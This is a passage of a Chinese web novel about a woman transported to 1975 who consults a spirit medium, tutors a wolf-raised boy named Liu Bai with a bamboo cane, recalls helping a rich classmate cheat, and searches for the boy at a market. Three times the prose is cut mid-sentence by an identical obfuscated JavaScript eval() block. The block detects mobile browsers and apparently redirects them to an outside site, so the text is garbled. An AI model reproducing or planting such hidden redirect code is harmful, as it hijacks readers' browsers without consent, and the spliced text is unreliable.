这个场景可不能被人看了去,一不小心就会被举报搞封建搞迷信,所以蔡淑芬请神婆整个过程都是小心谨慎再谨慎,还让家人在门口望风。 “这是在干嘛?”徐知画摸了摸手臂上耸起的鸡皮疙瘩。 “来,见过神婆。”蔡淑芬将徐知画拉到神婆面前。 徐知画对上一双白瞳仁眼珠,吓得后退了一大步。 “这是龟妹吧。”神婆停下动作,红艳艳的厚嘴唇笑了笑,伸手示意,“请坐。” 这阵仗,她没见过啊。 徐知画颤颤巍巍着坐下。 摆在中央的桌子上,有一个装着米的香炉里插着三根香,两支蜡烛在燃烧着,前面吊着一副阴阳卦,左边摆放了一个装着糖果的果盘,右边则是一碗猪肉。 神婆先在脚旁的瓦罐里烧了几叠纸钱,闭眼嘴巴快速念着咒语之类的东西。 接着问了徐知画的生辰八字,开始搭话题聊天,连这副身体被收养受欺凌的一些事都能说个大概,蔡淑芬听得泪涟涟。 说了从前,又问未来。 只见神婆眼睛一闭,从腰间拿起一个铃铛,轻轻地晃着。 “叮铃铃——叮叮当——” 声音清脆,很有节奏感,神婆又开口了,调子悠扬,似唱似说,似哭似笑,犹如摄魂曲,此情此景,让徐知画仿佛置身于一个诡异的空间。 毛骨悚然。 突然,声消音静,徐知画吓了一个激灵,心脏怦怦跳。 神婆猛地睁眼,又是吓了她个哆嗦。 然后神婆说什么“……前半生命运多舛,本是六亲缘薄之命,然有两世情缘牵挂化解;二十五岁遇生死劫,只要渡过这个劫数,一生就会喜乐安康,能寿终正寝……” 这一转又一折听得蔡淑芬的心是一揪一松,一揪又一松。 徐知画本来是崇尚科学,不信有鬼神的,但是来到这里,她又觉得还是要有敬畏之心,宁可信其有,不可信其无。 最后她忍不住问了一句:“我还能回去吗?” 神婆直直地看着她,说:“心安即是归处。” 再问,却是不肯再作答了。 徐知画:…… 所以,是能回去还是回不去? 18. 病秧子X狼少年 刘白看着面前的一片片碎纸,自知做错了事,讨好撒娇扭着屁股用脑袋去蹭徐知画,笑得眼睛眯起来,嘴巴咧得大大的,活脱脱演绎了什么叫奴颜婢膝。 “把你这副鬼迷日眼收起来!”徐知画最讨厌看到他这样,和印象中的刘白相去甚远,强烈的割裂感会让她觉得这是两个人。 可他长着刘白的样子,那就是刘白没错,要意气风发,要光芒万丈,要胸有成竹,要泰山崩于前而面不改色,更要受人敬佩被人爱慕。 徐知画以2024年的刘白为模板,细细打磨着1975年的刘白,想要将粗石变成璞玉,再为她所用。 感知到徐知画生气的情绪,刘白低垂着头不敢看她,站得规矩了些,一副憋屈老实样。 徐知画冷冷一瞥:“上次教你的拼音还记得不?” 刘白挠挠头,张大嘴巴:“ā,ā——ā——” “ā你个大头鬼。”徐知画怒视着他:“站直!挺腰!收腹!目视前方!向后转!齐步走!” 她每说出一句口令,刘白一一执行,想到接下来发生的事,就不由自主颤抖起来。 回到屋子里,徐知画将门窗关上,四周很静,刘白因紧张大喘着气,昏暗的光线中,她拿着竹条的身影,气势瘆人。 “撅屁股!” 冷冰冰的语气,刘白听得心一紧,下意识照做。 “啪——啪啪——啪啪啪————” “呜——嗷呜——呜呜呜————” 狗岁做贼般趴在窗下听着这两道不同的声音,偷偷打开窗户一道小小的缝,屋里的所见所闻让他打了个寒颤。 “闭嘴!”一声痛斥传来。 屋里再次响起毫无节奏感的“啪啪”声,不过没了呜咽声。 狗岁屏住呼吸,唯恐被发现,小小的身子像蛇一样顺着墙壁滑下去,蹑手蹑脚走远了些,来到徐康荣的面前,皱着一张苦瓜脸,说: “康荣叔,我不想让姑姑教我认字。” 姑姑好凶,他一想到学不会要被打屁股,就犯怵。 “之前让你跟我认字不肯,现在就跟你姑姑学吧。”徐康荣好笑地看着他,揶揄道。 “我以后肯定乖乖跟你认字,康荣叔,康荣叔,你不要把我交到姑姑的手上啊,她不会手下留情的,打屁股好痛。”狗岁摇晃着他的手,说着说着快哭了。 “我已经和她说好了,正好双抢完了,你有空闲的时间就呆在家学习,不要总跟着别人乱跑,知识改变命运,等你长大就知道会读书写字的好处了。”徐康荣叨叨完,抬手一记爆栗,“你姑姑学识比较厉害,严厉点也好,你可别再想着偷懒。” “她打人也好厉害。”狗岁嘟囔着,撒泼打滚道,“我要你教,我就要你教,我不会再偷懒了……” “没得说,这事已经决定好了,从明天开始,你就和刘白一起跟着龟妹学习。”徐康荣不为所动,幸灾乐祸道,“狗岁啊狗岁,你的好日子到头了。” “啊——啊啊啊——”狗岁算是看穿了他看戏的心思,站起身,哼了声,“我去找爷爷奶奶说。” 话刚落,就见蔡淑芬从外面冲进来。 说曹操曹操到,狗岁欣喜地迎上前:“奶奶,我……” “别碍路!”蔡淑芬一手将挡路的他扒拉开,夹着屁股,直奔厕所。 狗岁:…… “等下奶奶一定会答应我的。”狗岁说。 徐康荣看着他那副自信的模样,笑了笑:“那等下看吧。” 半晌,蔡淑芬从厕所里出来,舒坦地深吸了口气。 “奶奶,奶奶,你过来看看。”狗岁上前,正欲拉起蔡淑芬,一股难闻的味道直往鼻翼里钻,嫌弃地捂住了鼻子,“你洗手没?” “这不是没来得及洗。”蔡淑芬讪讪道。 本来一家人是没那么讲究的,也是徐知画回来后,提醒大家说便后洗手,才慢慢养成这个习惯。 “找我干嘛?”蔡淑芬边说边往水缸走去,舀水随便冲了冲手。 “嘘——”狗岁带着蔡淑芬悄悄扒窗偷看。 屋内刘白还翘着屁股被徐知画用竹条抽打着。 “刘白又不听话了?打得好!”蔡淑芬很是赞许的样子。 徐知画听到说话声,走过去推窗一看:“你们在干什么?” “没什么。”狗岁挤出一个僵硬的笑容,赶紧拉着蔡淑芬走了。 “奶奶你看到了吧,刘白因为学不会姑姑教的东西,被打得好惨,我不要像他那样,呜呜呜……”狗岁扑进蔡淑芬的怀里,嚎哭得很大声。 “你比他聪明,肯定能学会龟妹教的知识,不会被打的。”蔡淑芬不假思索地说,突然肚子里一阵翻江倒海,一股熟悉的绞痛感传到神经,她熟练地夹起屁股,丢下一句“我相信你!”又直冲厕所。 在风中凌乱的狗岁:…… 徐康荣笑笑:“你最好是比刘白聪明。” 狗岁被激起了好胜心:“我肯定比刘白聪明!” 说完跑开独自伤心去了。 而这一边,蔡淑芬在厕所蹲得脚都麻了,衣服被冷汗黏湿,稀稀拉拉喷射轰炸完才得以解脱,收拾完后续,才面色苍白颤颤巍巍着出去。 “康荣啊,我肚子一整天不得劲,你看看是怎么回事。”蔡淑芬在徐康荣旁边坐下,将手腕伸过去。 徐康荣细细诊断了一会儿,皱眉问道:“你是不是又吃了什么稀奇古怪的东西?” “我就喝了神婆给的符水,应该没什么问题吧?”蔡淑芬忐忑地问。 这符水本来是要给龟妹喝的,但以防万一有什么不好的,她想着先喝试试,没想到还真喝出了好歹。 徐康荣叹了一口气,无奈道:“我都说了你可以烧香拜神做法,但入口的东西要慎重,符水对人体是没有用的。” “我这不是想着万一呢,万一真的有效,龟妹真的能治好就好了。”蔡淑芬的眼神里闪烁着一丝心虚,也有些后怕道,“还好龟妹没喝,不然她身子骨肯定受不住。” 徐康荣:“你少折腾这些偏门歪道。” “怎么算是歪道呢,这个神婆做法很灵的,我很难才请过来。”蔡淑芬辩驳着,又想道,“可能每个人体质不同,符水对我不起效。” “你可不能给龟妹喝符水。”徐康荣提醒道,“我开的药和符水相冲,她不能喝。” “知道了,哎哟,又来了。”蔡淑芬捂着肚子,痛苦道,“你快给我开服药来缓缓。” 再再冲向厕所。 徐康荣看着她的背影,摇摇头,再再叹口气。 “吱呀——” 木门被推开,徐知画面无表情地拿着竹条、本子和笔走出来,刘白亦步亦趋跟在身后。 因为屋内光线昏暗,有时他们会将桌椅搬出到院子学习。 “坐下。”徐知画看着刘白说。 刘白刚坐下就痛得弹起,在徐知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592894|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画的死亡凝视中,不敢不从。 【痛就对了,痛才会长记性。】徐知画如是想到。 两人并肩而坐,正打算再次展开学习之旅,徐康荣出声问道:“龟妹,明天狗岁也加入你们的学习队伍。” “好。”徐知画点点头。 “狗岁年龄小,吸收知识可能没那么快,他不适用棍棒教育那一套,越打他就越反着来,他学习进度没跟上的,你多点耐心,或者我有空也可以给他再辅导巩固。”徐康荣心里还是希望这侄子能少受点皮肉之苦的。 “我会看着来的。”徐知画并不希望别人对自己的教育方式指指点点。 “好,你有分寸就行。”徐康荣说。 反正就在家里学习,有事他也能护着。 没再说闲话,徐知画先指着本子上写的拼音内容带读了一遍,然后让刘白尝试自己指读三遍。 “嗯,不错。”徐知画肯定道,接着将指尖一点,“这个怎么读?” “ǎ。”刘白情绪且笃定地发音。 “真棒!”徐知画摸了摸他脑袋。 感受到了鼓励,刘白眼睛一亮,不用徐知画指示,自己指着一行行读起来:“āáǎà,ōóǒò,ēéěè。” “棒棒!”徐知画表情浮夸,热烈地鼓起掌来,又竖起了大拇指,好似他做了什么了不起的事。 【其实也就认识几个拼音四声调,没什么了不起的。】 徐知画在心里吐槽着,但谁让他现在就是个什么都不懂的傻BB呢,打一巴掌再给个甜枣她可是很懂。 刘白更来了劲,倒着读,跳着读,指哪读哪,正确率百分百。 “哇塞!你真是超级无敌厉害!太棒了!我就没见过这么棒的人!你是世界第一聪明!聪明一休就是你……” 徐知画一口气说了一连串彩虹屁,说到那些表扬语,说到最后都词穷了。 徐康荣看到这一幕,不安的心稍稍放松了些,看来她并不是一个只会揪着错处打骂学生的老师。 该夸夸,该打打,也挺好。 “咳咳——知画,我可以进来吗?” 一道男声打断了他们的思绪,紧接着一片阴影落下。 徐知画抬头看着已经走进院子、来到眼前的陈豫周:“什么事?” “知画,听说你生病了,我很担心。”陈豫周将几副药包放在桌上,说,“这是我去城里抓的药,对发烧感冒有用,你煮来喝看看。” “谢谢关心。”徐知画将药包推回去,指了指徐康荣,说,“你不知道我家有一位大夫吗?我病已经好了。” “这样啊……”陈豫周有些无措,探头看了看,问道,“你们这是在学什么呢?” “学什么就不用你关心了。”徐知画对他的出现感到烦躁,“你还有什么事吗?” 她的疏离太过明显,陈豫周一副受伤的表情:“好歹我们曾经是同学、是好友,没事探望你一下也应该吧。” “那你探望完了。”徐知画嘴角扯出一个假笑,“谢谢探望。” 言下之意没事赶紧滚吧。 陈豫周噎了噎,还是道明来意:“下个星期日,我们知青打算举办一场诗词沙龙会,想邀请你参加。” 听此,徐知画似笑非笑地看着他。 在她犀利的目光中,陈豫周咬牙道:“你放心,该有的,不会少给你。” “行,到时我一定出场。”徐知画这次是真的笑了。 19. 病秧子X狼少年 陈豫周喜欢1975年的徐知画吗? 2024年的徐知画觉得未必。 在她的记忆中,陈豫周出身部队大院子弟,父亲是首长,然而在他出生不久,母亲就去世了,后来又有了继母。 继母对他极尽宠溺,将他宠成了一个不学无术的纨绔子弟,平时陈豫周的首长父亲对他不务正业的行为百般看不顺眼,一见面就是吹鼻子瞪眼,哪怕继母在其中调和也无济于事。 父子两的关系一度恶化降至冰点。 转折点在他就读于泽立中学、认识徐知画后。 那时他们在同一个班,陈豫周是学校的风云人云,出手阔绰呼朋唤友好不风光,吃喝玩乐好不恣意,他唯一的苦恼就是——成绩不好,回家要挨打。 一次徐知画听到陈豫周在抱怨“考试什么的都去死吧”,一道灵光自脑海中闪过,他有钱,且有想考好成绩的需求,何不做这单生意。 于是,徐知画寻机找上了陈豫周,说愿意帮他代写作业、助他考出好成绩。 刚开始陈豫周听完她的提议后,当是在开玩笑,哈哈大笑道:“你倒数第二名怎么好意思说出这句话?” 不怪他不信,为了能在收养的那个家过好一点,徐知画不得不藏拙,她太过聪明会衬得徐宝珍太过蠢笨。 徐知画考到一个好成绩,养母陈彩霞不会高兴,也不会让她的日子好过。 这是徐知画自小实践出来的真理,在那个家里,她就是地上泥,只配被人踩的份。 多说无益,徐知画让他当场考、随便考,当看到所出的题目都做对后,陈豫周才相信了她的实力。 自此,徐知画就开启了替他写作业、在考场上协助他作弊取得好成绩生涯。 更是教他如何在长辈面前讨好作乖,以获取更大的利益、达到目的。 而陈豫周按照徐知画所说的去做后,父亲对他有好脸色了,出门也有人夸他了,还有人让自家孩子以他为榜样来学习。 这可是陈豫周从来没有过的体验,高兴至极,大手一挥,当月的零花钱赏了一半给她。 为了合作更加方便,陈豫周还让老师将他们调座位成同桌。 在校三年,在徐知画的帮助下,陈豫周稳稳坐住【学神】之位,走哪夸哪。 那些赞扬和吹捧让他日益膨胀,听得多了,好像自己就真的这么厉害,陈豫周一发不可收拾,时不时像花孔雀般搞什么读书会,而徐知画深藏功与名,是其背后的枪手。 陈豫周为名高兴,徐知画为利高兴,合作共赢。 而大概富家子弟都有一身臭脾气和毛病,陈豫周觉得是用钱财买了她的学识和人格,对她是呼来唤去。 看在钱财的份上,徐知画不得不伏低做小,一度忍让让陈豫周以为她对自己有意思,也舍得给予她更多好处。 表面上徐知画好脾气地接收了他的坏脾气,但实则被牵着鼻子走的是他。 陈豫周这次之所以会下乡,徐知画怀疑是他继母搞的鬼。 不过也有可能,是陈豫周自己看她走了,没人再给自己出谋划策,就急匆匆追过来。 1975年和2024年的徐知画在不同的时间段都做了同一个决定——和陈豫周合作,当他是提款机。 一个愿打,一个愿挨。 这没什么好诟病的。 想到陈豫周这次举办的读书会主题,徐知画再次懊悔以前没有深入研究毛□□思想,只知道点皮毛,不过这点皮毛,应该也能应付一下场面吧。 徐知画不确定地想,以防万一,还是要做好充足准备,多去了解。 作为一个长期合作对象,她可不想砸了口碑。 时间紧迫,为了尽早写出文稿给陈豫周,徐知画决定明天去镇上的书店看看有没有关于这方面内容的书籍。 * “那个,家荣哥,我能不能跟你去黑市看看?” 晚上,徐知画将徐家荣拉到一旁,悄声问道。 “黑市?我不知道黑市在哪里啊。”徐家荣装傻充愣,满脸真诚。 “我知道你知道。”徐知画笃定地说,“你给我买的那些本子、纸和笔就是在黑市买的吧,还有上次野猪你也是去黑市卖掉的吧。” “嘘!”徐家荣紧张地看了看四周,说,“你别跟别人说。” “我不会乱说的,那明天能不能带我去黑市?”徐知画又问。 “你身体受得了这路途?”徐家荣可还记得当初她回到这家时是晕着的。 “应该,受得了吧?”徐知画想到之前颠到屁股痛的拖拉机,忐忑地问,“是要坐拖拉机去镇上?” “想得美。”徐家荣挑眉笑道,“坐牛车,没问题吧?” “没问题!”牛车肯定不会那么颠,徐知画拍着胸脯说。 有大问题啊! 徐知画还是想得太美好了。 当坐上牛车的那一刻,她就后悔了。 挤!臭!吵! 这是徐知画现在的真实感受。 “你就是龟妹啊,真是百闻不如一见,看看这细皮嫩肉,和我们乡下人就是不一样,真是同人不同命,我闺女就没你那么好命,没能摊上一个城里爹娘。” 坐在对面的一个大婶阴阳怪气道,说着还上手捏了捏徐知画的两腮。 徐知画一把打掉她的手,摸了摸被捏得发疼的腮边,怒视着,想着这人可真粗鲁没礼貌。 还没等她回击,就见徐家荣“啪啪”几下捶打着她的手背,故作玩笑道:“翠娥婶,你这五大三粗皮糙肉厚真生出一个细皮嫩肉的闺女,那是见鬼了,毕竟种不好,你就是羡慕也羡慕不来,要怪就怪你妈没有长得细皮嫩肉遗传给你。” “这不同人,当然不同命。谁不知道我妈年轻时是十里八乡一枝花,长得细——皮——嫩——肉。”徐家荣拉长了语调,着重强调,还夸张地撸起袖子,露出比她还白嫩的手臂,说,“看,我也是妈生的细皮嫩肉,你要实在想,给你摸摸也无妨。” 他又趁机重重拍打了她几下:“我妹细——皮——嫩——肉可不禁你摸。” 看着徐知画被捏红的脸,徐家荣就生气。 “行啦行啦行啦,我不摸了。”蔡翠娥吃痛地躲闪着,抱怨道,“我就说一句,你回我三句,家荣,你这小子也忒小气了些。” “对,我就是小气,谁让我不开心,我就让谁不开心。”徐家荣一副你能奈我何的神情。 “好歹我是你长辈,你要尊老。”蔡翠娥站在道德上指责他。 “你都没有爱幼,看我妹的脸都被你捏红了,翠娥婶,看不出来你练过铁砂掌啊,不去抗日参军真是可惜了,上场杀敌才是真本事,欺负我妹算什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604707|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”徐家荣怒怼回去。 “我哪里欺负她了,大家评评理。”蔡翠娥一脸无辜地说,“我就轻轻碰一下,谁知道你妹是瓷器做的,一碰就碎呢。” “你这可不是轻轻碰一下,你看龟妹的脸,又红又肿,你不能看她性子软,就欺负人家。”肥花婶说。 “真是冤枉!我不是故意的!” “你可不冤,我看见你使劲了。”蔡翠娥旁边的一位大叔说。 “你们一个两个……”蔡翠娥气得胸脯剧烈起伏着,无理也气壮,“都欺负我,我不跟你们说了!” 众人:…… “谁欺负你了,先动手的是你,还好意思倒打一耙……” “行了行了,都别吵吵,要吵的下车吵!”赶牛的大叔出声打断了徐家荣的话,怕再吵下去,动起手来车都要翻。 一时之间,没人再说话。 不过这是一个小插曲,路途遥远,气氛很快再次活络起来。 大家将目光放在了徐知画左边安安静静坐着的刘白身上。 “这是狼孩?看不出来啊,长得还挺俊。”有人好奇地打量着,问,“你们是怎么教的?看着很乖哦。” “就和正常人一样教。”徐知画笑笑。 本来是不打算带刘白去镇上的,可放他和徐康荣两人在家又不放心,于是也带他出门了,还跟他着重强调了要【乖一点】。 刘白对于【乖一点】这个指令做得也是比较好的。 现在看来,成效不错,果然很乖,没有做出什么突兀的行为。 “他会说话吗?”又有人问。 徐知画:“会说一点?” “说两句来听听。” 徐知画不想将他像猴一样展示,打着哈哈:“他说得还不太流利,你想听什么?我说给你听。” “我就想听他说。” “等他说流利了,你会听到的,他没什么奇怪的,也是一个人。”徐知画笑了笑,岔开了话题,“还要多久才到镇上呢?我还没去过镇上呢?好玩吗?多东西卖吗?” 这一连抛出好几个问题。 大家果然被转移了注意力,热情地解答起来,还详细地介绍起了风土人情。 这一刻,徐知画心里只想着,赶紧到达目的地吧,再不到,她的屁股要受不住啦。 而看刘白,显然也很不适应,在极力忍耐着。 不管是这些拥挤的人群、嘈杂的声音、颠簸的路途、难闻的体味…… 对刘白来说,都是极大的挑战,他要很努力克制,才能将体内那股暴戾狂躁之气压下。 感受到刘白越来越不耐不安的情绪,徐知画悄悄捏了捏他的掌心,却被他顺势抓住,柔软的触感慢慢平复了躁动的心情。 刘白将视线落在她的脸上,看着她和别人谈笑风生,那一串一串字句,他还听不懂,好好奇她在说些什么呢。 人类的语言还真奇妙。 同一个字,不同的语气,却是不同的意思。 关于这一点,刘白感受很深,他迫不及待想掌握这一门语言,心渐渐静下来,耳边只有她的声音在回响。 风拂过,吹起她的发丝,淡淡的香气飘过来,撩动心悸。 她现在如此温柔,让他暂时忘记了那杀气腾腾辅导他读书的一面。 这样的感觉,很奇妙。 20. 病秧子X狼少年 从家里出发时天还蒙蒙亮,到达镇上太阳已高挂,炽热的阳光直射在皮肤上,徐知画感觉自己快要晒化了。 在牛车的每一秒都是煎熬,徐知画从来没有哪一刻像现在这么怀念汽车和空调的存在,到达目的地后,在树荫下歇了好一会儿才缓过来。 “这就是集市了啊?” 这是一条一眼可望到尽头的街,正值赶集日,周边十里八村的人都汇集在了一起,可能走几步就会见到旧识好友,然后停下来寒暄几句。 迎面而来的人大多数脸上都洋溢着笑容,好像赶集是件很让人兴奋很值得开心的事。 徐知画叹了口气,开始怀念装修干净整洁、吃喝玩乐一应俱全的商场了。 走在坑坑洼洼的黄泥路,摩肩擦踵,尘土飞扬,阳光的照耀下隐约还能看见尘埃漂浮在空气中,呼吸都是一股烟尘味。 除了失望,就是绝望。 徐知画捂着鼻子躲避着人群,像被抽掉了精神气,并没有想逛的欲望。 “嗯,就是在这里赶大集。”徐家荣手指着介绍,“农副产品、劳动用具和生活用品都可以在这里买到,供销社的副食品店在那边,那还有国营饭店。” “哦。”徐知画反应淡淡的,集市都这样破败,黑市更不好逛了吧,现在她只想速战速决,“书店呢?” “书店还有走一会儿,待会再去看。”徐家荣看着徐知画无精打采的样子,大方道,“难得出来一趟,今天哥请你俩去撮一顿。” 之前徐知画吃惯了山珍海味,吃的食物注重营养均衡,合理控制卡路里的摄入,还讲究色香味俱全,但来到这里,吃都吃不饱,更不用说挑剔什么了。 今早就吃了一个红薯和一碗粥,这会儿早消化完了,听到他说请客,肚子很不给面子地唱起了空城计。 徐知画不自觉咽了咽口水:“那走吧。” 往前走了几步,见刘白没跟上来,回头一看,他正蹲在一个卖兔子的摊位,流着口水目光炽热,好似下一秒就要抓进嘴里。 “同志,要买兔子吗?这是光明大队养殖的兔子,做□□最好吃了。”摊贩热情招呼道。 “不了。”徐知画摇摇头,拉了拉刘白的胳膊,没拉动,使劲一拧,“刘白!走!” 刘白回过神来,视线移到她的身上,恋恋不舍地站起身,一步三回头看着摆在路边卖的兔子、鸡鸭、羊…… 他就像刘姥姥进大观园——大开眼界,对那张小小、能换取猎物的钱票充满了好奇,开始思考要怎么才能得到钱票呢? 饭店更是热闹,口袋有点钱的人都想着在这一天犒劳自己,饱食一餐,每一张桌子都有坐了人,叽叽喳喳的说话声简直要将屋顶掀开。 好吵! 徐知画有点想打退堂鼓了,然而被徐家荣一拽,带着他俩迅速占领一桌吃完要走的食客位置。 “同志,请让让。”端着一盘红烧肉的服务员经过。 徐知画侧了侧身,不过一瞬,红烧肉的香味霸道地冲击着视觉、嗅觉,脚走不动了。 刘白这回更是夸张地吸溜着口水,若不是怕被打,仅存那么一点点人性的理智提醒着,他恨不得当场表演什么叫饿狼扑食。 “你注意点形象。”徐知画嫌弃又无语地看着刘白已经淌下胸前的口水,将一张手帕丢过去,怒瞪道,“擦擦!” 说着示范了一下擦口水的动作。 刘白擦完后,自然而然地将手帕揣进口袋,到底是收敛了些,只不过视线还是直勾勾地盯着别人桌上的食物。 他的目光太过灼热,引得隔壁桌很不爽,呵斥道:“看什么看!再看我戳瞎你的眼。” “同志不好意思,他第一次下馆子。”徐家荣赔笑着,也嫌丢人,手动掰正他的脑袋,没好气道,“等会有你吃的,不要看别人碗里的。” 刘白眨了眨眼,多多少少是明白过来他们的意思,可是这一方空间充斥着食物的香味,他真的很难忍住不去看。 肚饿! 好想吃! 大吃特吃! 刘白极力忍耐着躁动。 三碗白米饭、一碟红烧肉、小鸡炖蘑菇、虾干油菜、油豆腐粉丝汤。 点好了菜单。 等待的空隙,为了转移刘白的注意力,徐知画开始考他学习过的拼音,起了个头:“长大嘴巴aaa……” 刘白果然没有再盯着别人吃饭,只不过眼神幽怨地看着她了,似乎在说:【在这里?真的有必要这样吗?在我这么高兴的时刻,考我这么扫兴的内容?我不想……】 “接着说啊。”徐知画催促道。 “张大……”刘白不情不愿地开始念。 看着刘白满脸不情愿却还是乖乖照做,徐家荣心想龟妹还真是教育有方,这么短的时间将从未接触过人类社会的狼孩教育成看起来和正常人差不多的模样,了不起! 背着背着,菜一道接着一道上来了,刘白停下背诵,抑制不住心里的激动,不过还谨记着徐知画的教诲,没等她说“开吃”,不能动餐。 刘白眼睛眨啊眨,示意着她快说指令。 “细嚼慢咽,知道没?”徐知画提醒道。 “知道。”刘白重重地点头。 “谢谢家荣哥今天请客。”徐知画作了一个揖,想着以后她大富大贵了,一定要好好报答他。 “客气啥,开吃吧。”徐家荣不习惯被这般客气对待,不好意思道。 刘白看了看徐知画,见她点头了,迫不及待夹了一块红烧肉塞进嘴里。 天哪!该怎么形容这种感觉! 一口咬下去,肉酥汁香、滋味浓郁,让人欲罢不能! 太!好!吃!了! 他激动得想要落泪! 作为人类的话,为的就是这一口好吃的吧。 细嚼慢咽?不,他根本控制不住自己,牙齿快速嚼动着,一口又一口,好吃好吃。 他吃上头了,连徐知画的再三提醒也顾及不上,最后还是徐家荣看不过眼,将一些肉夹到她碗,才没被抢光。 这一顿饭,只有刘白吃得是心满意足。 【看来在进餐礼仪这方面,还要再教导教导。】 徐知画想。 走出饭店,三人往书店走去。 书店不大,有三三两两的人或在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617756|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑选着书籍,或在看连环画,或在抄写着什么。 徐知画在店员的指引下,找了一本《毛□□文集》,又看了看这时代的一些画册,慢慢查阅着自己想要的内容。 见她还要在这里呆很长时间,徐家荣无聊地转来转去,最后忍不住道:“我去外面逛逛,待会再回来这里找你和刘白,行不行?” 徐知画点点头:“行。” “你就在这里等着,不要乱跑。”徐家荣找了一个显眼的位置让刘白坐下,徐知画抬头就能看到,想了想,从口袋掏出一把糖给他,说,“你无聊了就吃糖,记住,不要乱跑啊。” 刘白看到糖眼睛都亮了,他说什么都点头回应。 看他的样子,应该是听懂了,徐家荣交代完,放心地走了。 时间一点点流逝着,徐知画沉浸在书中不可自拔,忘我地读着。 一次不经意地抬头,视线扫过一个位置,却没了刘白的身影,登时她吓了一个激灵,四处环顾。 书店角角落落找了个遍,还是没找到他。 “刘白!”徐知画冲出门。 然而举目望去,天地之大,一时半会哪里知他去了何处。 “你好,你有看见一个这么高,穿着蓝色补丁短袖和黑色长裤的男孩吗?他眼睛很大,鼻子很挺……” 徐知画像无头苍蝇一样描述着刘白的样貌,询问着每一个路过的人。 “没见过。” “不知道。” “没印象。” “哎呀,不会被拐子拐去了吧?” “拐子?不会的!”徐知画脑袋“嗡”的一下炸开,一想到这个可能再找不回他,就像坠入了万丈深渊,喃喃道,“我肯定会找到刘白的。” 越找越心急,徐知画失魂落魄地沿街叫喊着刘白的名字。 这里没有他的身影。 这一个不是他。 那边也没有。 那一个也不是。 在哪儿? 冷静! 他一定会找到他的! 秉着这一个信念,徐知画强迫自己开始思考对策,找徐家荣帮忙,可他也不知哪儿去了,警察叔叔,对,有事找警察叔叔。 徐知画再次拉住一个姑娘打听道:“你好,请问直到警察局在哪儿吗?” “这位同志,你是遇到什么事情了吗?”好心的姑娘问道。 “我朋友不见了,我害怕他会被拐子拐走,我想要去报警。”徐知画抓住她就像溺水的人抓住了水上的浮木。 “你朋友什么时候不见的?”姑娘问。 徐知画:“我发现他不见距离现在有半个小时了。” 好心的姑娘:…… “可能你朋友回家了呢,或者他临时有什么事被叫走了呢,不一定会是被拐走。”姑娘分析道,“你现在报警应该不会受理的。” 徐知画:“麻烦你告诉我警察局怎么去就好了。” “直走,在一个十字路口左拐,再直走,最后向右拐就看到警局的标志了。”姑娘想着她总要去碰碰壁。 “谢谢。”徐知画连奔带跑,恨不得飞起来。 21. 病秧子X狼少年 “嗷呜——嗷呜呜——” 突然,一阵凄厉的狼嚎声传来。 徐知画听出是刘白的叫声,赶紧沿着声音找去。 “怎么回事?镇上怎么会有狼叫声?”有路人惊讶道。 “去看看。”有好事者跟风去看。 徐知画加快了脚步,在一条街道上,映入眼帘的一幕让她心头颤了颤—— “刘白!住手!” 刘白正暴怒地高高举起一个人,眼见就要重摔到地,一道熟悉的声音在耳膜震响。 他愣了愣,环顾四周,所见皆是惧怕又跃跃欲试想将他抓捕的人,以及几只被惊吓到咩咩乱叫的羊。 现场嘈杂、混乱。 亦如他怦怦乱跳的心,事情怎么一下子就发展到这样了呢,他有些懊恼。 刘白想起了第一次被抓下山、被痛殴的场景,四肢百骸感觉又开始发疼了。 【徐知画又生气了。】 刘白看着徐知画气鼓鼓地走过来,下意识动作轻柔地将手上的人放到地上,低头耷脑,一副自知做错事任打任骂的样子。 不过眨眼间,好像张牙舞爪的野兽收起了獠牙猛爪,卸下所有攻击力,乖乖束手就擒。 从他手上死里逃生的人连滚带爬远离了些,后怕地拍着胸脯顺着气。 “抓住他!” 几个拿着农具的人一哄而上。 “等一下!”徐知画冲过去拦在前面,阻止他们想打人的架势,大声道,“他是做了什么事,有话好好说,打打杀杀可不利于人民团结。” “这小子看着不像是正常人,你是他的家人吗?”一个留着络腮胡的大汉走上前问,语气带有责怪,“他是不是有疯狼病,不在家好好关着,跑出来干什么?” 听到这话,周围的人发出一阵哄笑,议论纷纷—— “疯狼病?还有这病?” “刚才就是那小子狼叫狼叫的,可吓人了。” “你刚才没看到他那眼神、那动作,活脱脱就是一只狼,可怕得很。” “我知道他,他就是狼养大的,前段时间从山里抓下来,被那小姑娘一家收养了,我们大队长还鼎力支持呢。” “哦?真的假的,狼能养大一个人?” “怪不得……” “……” 